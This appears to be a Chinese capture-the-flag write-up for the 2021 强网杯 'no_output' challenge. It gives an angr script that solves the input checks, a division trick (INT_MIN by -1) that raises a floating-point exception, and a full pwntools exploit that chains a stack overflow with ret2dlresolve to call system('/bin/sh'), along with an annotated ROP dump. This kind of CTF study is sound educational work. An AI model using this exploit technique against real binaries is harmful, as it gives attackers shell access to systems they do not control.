强网杯 2021 no_output
没有输出,包含栈溢出。进行两次校验,前两次输入直接用angr模板获取。但是angr不能直接探索到触发信号之后(可能是咱不懂)
import angr
import sys
import binascii
def main(argv):
path_to_binary = "./test" # :string
project = angr.Project(path_to_binary)#要分析的二进制文件
# 告诉ange从哪里开始执行entry_state() 表示从main函数开始
initial_state=project.factory.entry_state()
#创建一个使用起始状态初始化的模拟管理器。它提供
#一些有用的工具来搜索和执行二进制文件。
simulation=project.factory.simgr(initial_state)
#函数会一直运行直到运行到0x08048675这个地质处,或者探索了每条可能路径
print_good_address = 0x08049297 # :integer (probably in hexadecimal)
simulation.explore(find=print_good_address,avoied=0x80494EC)
#找到的方案会存放到simulation.found列表里面(列表里面存放的是地址)
if simulation.found:
solution_state=simulation.found[0]
#用这种方式输出内容
result=solution_state.posix.dumps(sys.stdin.fileno())
print(result)
print()
else:
raise Exception("Could not find the solution")
if __name__=="__main__":
main(sys.argv)
接下来需要用除法触发浮点异常,最大负数除-1可以触发。
这个数可以表示为。 0x80000000,-2147483648,-0x80000000
然后用ret2dlresolve劫持执行流,payload直接提供了生成ret2dlresolve的方式
rop = ROP("./test")
elf = ELF("./test")
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
print(hex(dlresolve.data_addr))
payload =b'A'*76+p32(0x80490C0)+p32(0x8049582)+p32(0)+p32(0x804de00)+p32(0x8049030)+p32(0x5a04)+p32(0)+p32(0x804de20)#+b"/bin/sh\x00"
s.sendline(payload)#read_plt p,pebp,ret bss push jmp dl_runtimeresolve
raw_input(">")
payload= dlresolve.payload
print(payload)
s.sendline(payload)
s.interactive()
第一个payload如下,所有内容不需要改,只需要在该payload前面添加偏移,偏移为覆盖到返回地址的长度
0x0000: 0x80490c4 read(0, 0x804de00) read_plt对应jump指令 不需要改
0x0004: 0x8049582 <adjust @0x10> pop edi; pop ebp; ret 平衡栈
0x0008: 0x0 arg0 参数1
0x000c: 0x804de00 arg1 参数2 bss段
0x0010: 0x8049030 [plt_init] system(0x804de20) push plt_base ; jmp dl_resolve
0x0014: 0x5a04 [dlresolve index] index 不需要改
0x0018: b'gaaa' <return address> 返回地址
0x001c: 0x804de20 arg0
0x804de00
完整payload
from pwn import *
s = process("./test")
# s = remote("39.105.138.97","1234")
context.terminal =['/usr/bin/tmux', 'splitw', '-h', '-F#{pane_pid}' ]
# context.log_level="debug"
# gdb.attach(s,"b *0x80490C0\n")
s.send("\x00")
s.send('A'*0x20)
s.send("hello_boy\x00")
s.sendline("-2147483648")
s.sendline("-1")
rop = ROP("./test")
elf = ELF("./test")
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
print(hex(dlresolve.data_addr))
payload =b'A'*76+p32(0x80490C4)+p32(0x8049582)+p32(0)+p32(0x804de00)+p32(0x8049030)+p32(0x5a04)+p32(0)+p32(0x804de20)#+b"/bin/sh\x00"
s.sendline(payload)#read_plt p,pebp,ret bss push jmp dl_runtimeresolve
raw_input(">")
payload= dlresolve.payload
print(payload)
s.sendline(payload)
s.interactive()
"""
0x0000: 0x80490c4 read(0, 0x804de00) 对应jump指令 实际用0x80490c0处的指令
0x0004: 0x8049582 <adjust @0x10> pop edi; pop ebp; ret 平衡栈
0x0008: 0x0 arg0 参数1
0x000c: 0x804de00 arg1 参数2 bss段
0x0010: 0x8049030 [plt_init] system(0x804de20) push plt_base ; jmp dl_resolve
0x0014: 0x5a04 [dlresolve index] index 不需要改
0x0018: b'gaaa' <return address> 返回地址
0x001c: 0x804de20 arg0
0x804de00
"""